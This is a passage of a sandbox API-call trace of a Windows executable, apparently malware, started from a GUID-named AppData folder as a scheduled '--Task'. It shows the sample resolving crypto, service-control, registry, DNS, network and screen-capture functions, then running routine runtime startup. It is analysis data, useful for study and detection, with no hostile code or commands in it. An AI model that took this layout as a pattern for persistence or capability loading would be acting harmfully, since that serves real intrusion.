returned 0x77149679 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="GetProcessWindowStation") returned 0x77149eea [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="GetUserObjectInformationW") returned 0x77148068 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxA") returned 0x7719fd1e [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="GetDesktopWindow") returned 0x77150a19 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxW") returned 0x7719fd3f [0057.967] GetProcAddress (hModule=0x77130000, lpProcName="TranslateMessage") returned 0x77147809 [0057.967] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="GetUserNameW") returned 0x7772157a [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="ReportEventA") returned 0x77713ee9 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="RegisterEventSourceA") returned 0x77722d46 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="DeregisterEventSource") returned 0x777235dd [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="CryptHashData") returned 0x7771df36 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyHash") returned 0x7771df66 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0057.967] GetProcAddress (hModule=0x77710000, lpProcName="CryptCreateHash") returned 0x7771df4e [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0057.968] GetProcAddress (hModule=0x77710000, lpProcName="CryptGetHashParam") returned 0x7771df7e [0057.968] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0057.970] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetPathFromIDListW") returned 0x75a617bf [0057.970] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderLocation") returned 0x75a5e141 [0057.970] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteA") returned 0x75c17078 [0057.971] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0057.971] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0057.971] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetFolderPathA") returned 0x75ae7804 [0057.971] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x76620000 [0057.971] GetProcAddress (hModule=0x76620000, lpProcName="CoInitialize") returned 0x7663b636 [0057.971] GetProcAddress (hModule=0x76620000, lpProcName="CoInitializeSecurity") returned 0x76647259 [0057.971] GetProcAddress (hModule=0x76620000, lpProcName="CoUninitialize") returned 0x766686d3 [0057.971] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstance") returned 0x76669d0b [0057.971] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76e40000 [0057.971] GetProcAddress (hModule=0x76e40000, lpProcName=0x6) returned 0x76e43e59 [0057.971] GetProcAddress (hModule=0x76e40000, lpProcName=0x8) returned 0x76e43ed5 [0057.971] GetProcAddress (hModule=0x76e40000, lpProcName=0x9) returned 0x76e43eae [0057.971] GetProcAddress (hModule=0x76e40000, lpProcName=0xc8) returned 0x76e43f21 [0057.972] GetProcAddress (hModule=0x76e40000, lpProcName=0xca) returned 0x76e4fd6b [0057.972] GetProcAddress (hModule=0x76e40000, lpProcName=0xc9) returned 0x76e44af8 [0057.972] GetProcAddress (hModule=0x76e40000, lpProcName=0xc) returned 0x76e45dee [0057.972] GetProcAddress (hModule=0x76e40000, lpProcName=0x2) returned 0x76e44642 [0057.972] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75660000 [0057.975] GetProcAddress (hModule=0x75660000, lpProcName="GetAdaptersInfo") returned 0x75669263 [0057.975] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x77230000 [0057.977] GetProcAddress (hModule=0x77230000, lpProcName=0xc) returned 0x7723b131 [0057.977] GetProcAddress (hModule=0x77230000, lpProcName=0xb) returned 0x7723311b [0057.977] GetProcAddress (hModule=0x77230000, lpProcName=0x34) returned 0x77247673 [0057.977] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x75590000 [0057.981] GetProcAddress (hModule=0x75590000, lpProcName="DnsFree") returned 0x7559436b [0057.981] GetProcAddress (hModule=0x75590000, lpProcName="DnsQuery_W") returned 0x755a572c [0057.981] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x77550000 [0057.981] GetProcAddress (hModule=0x77550000, lpProcName="CryptStringToBinaryA") returned 0x77585d77 [0057.981] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x770a0000 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteObject") returned 0x770b5689 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="GetObjectA") returned 0x770b85d4 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="SelectObject") returned 0x770b4f70 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="GetDeviceCaps") returned 0x770b4de0 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="GetBitmapBits") returned 0x770bc155 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="BitBlt") returned 0x770b5ea6 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteDC") returned 0x770b58b3 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="CreateDCA") returned 0x770b7bcc [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleDC") returned 0x770b54f4 [0057.982] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleBitmap") returned 0x770b5f49 [0057.982] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x754d0000 [0057.986] GetProcAddress (hModule=0x754d0000, lpProcName="atexit") returned 0x754ec544 [0057.986] atexit (param_1=0x720920) returned 0 [0057.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fbc8 | out: lpSystemTimeAsFileTime=0x18fbc8*(dwLowDateTime=0x26846000, dwHighDateTime=0x1d643ed)) [0057.997] GetCurrentThreadId () returned 0x114 [0057.997] GetCurrentProcessId () returned 0x7d0 [0057.997] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbc0 | out: lpPerformanceCount=0x18fbc0*=17883815625) returned 1 [0058.060] GetStartupInfoW (in: lpStartupInfo=0x18fb58 | out: lpStartupInfo=0x18fb58*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76d43519, hStdOutput=0x77c5fd35, hStdError=0x77cc7daf)) [0058.070] GetProcessHeap () returned 0x220000 [0058.211] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28 [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b [0058.211] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadStackGuarantee") returned 0x76d4d31f [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0058.212] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesEx") returned 0x76dc424f [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatEx") returned 0x76dd6676 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatEx") returned 0x76dd65f1 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLocaleName") returned 0x76dc47c1 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocaleName") returned 0x76dc47e1 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0058.213] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0058.214] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3bc) returned 0x241648 [0058.214] GetCurrentThreadId () returned 0x114 [0058.219] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x237d10 [0058.219] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x800) returned 0x241a10 [0058.219] GetStartupInfoW (in: lpStartupInfo=0x18fb28 | out: lpStartupInfo=0x18fb28*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x425128, hStdOutput=0xea77bb8, hStdError=0x30)) [0058.219] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0058.219] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0058.220] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0058.220] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --Task" [0058.220] GetEnvironmentStringsW () returned 0x242218* [0058.220] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xaca) returned 0x242cf0 [0058.291] FreeEnvironmentStringsW (penv=0x242218) returned 1 [0058.296] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe")) returned 0x6e [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xf8) returned 0x2437c8 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x98) returned 0x2438c8 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3e) returned 0x235788 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x6c) returned 0x243968 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x6e) returned 0x2439e0 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x78) returned 0x233468 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x62) returned 0x243a58 [0058.296] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2e) returned 0x23d440 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x48) returned 0x239128 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x28) returned 0x23cde8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1a) returned 0x241290 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x4a) returned 0x243ac8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x72) returned 0x2334e8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x30) returned 0x23d478 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2e) returned 0x23d4b0 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1c) returned 0x2412b8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xd2) returned 0x243b20 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x7c) returned 0x243c00 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x36) returned 0x243c88 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3a) returned 0x2357d0 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x90) returned 0x243cc8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x23ce18 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x30) returned 0x23d4e8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x36) returned 0x243d60 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x48) returned 0x239178 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x52) returned 0x243da0 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3c) returned 0x235818 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x82) returned 0x243e00 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2e) returned 0x23d520 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x2412e0 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2c) returned 0x23d558 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x54) returned 0x243e90 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x52) returned 0x243ef0 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x23d590 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3c) returned 0x235860 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x54) returned 0x243f50 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x23ce48 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x30) returned 0x23d5c8 [0058.297] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x8c) returned 0x242218 [0058.297] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x242cf0 | out: hHeap=0x220000) returned 1 [0058.363] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x800) returned 0x2422b0 [0058.377] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x80) returned 0x242ab8 [0058.428] GetLastError () returned 0x0 [0058.428] IsValidCodePage (CodePage=0x4e4) returned 1 [0058.428] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb1c | out: lpCPInfo=0x18fb1c) returned 1 [0058.434] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f5e4 | out: lpCPInfo=0x18f5e4) returned 1 [0058.439] GetLastError () returned 0x0 [0058.444] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0058.445] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f128, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f8f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÈz§\x0e4û\x18", lpUsedDefaultChar=0x0) returned 256 [0058.445] GetLastError () returned 0x0 [0058.445] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0058.445] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f138, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18f7f8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ 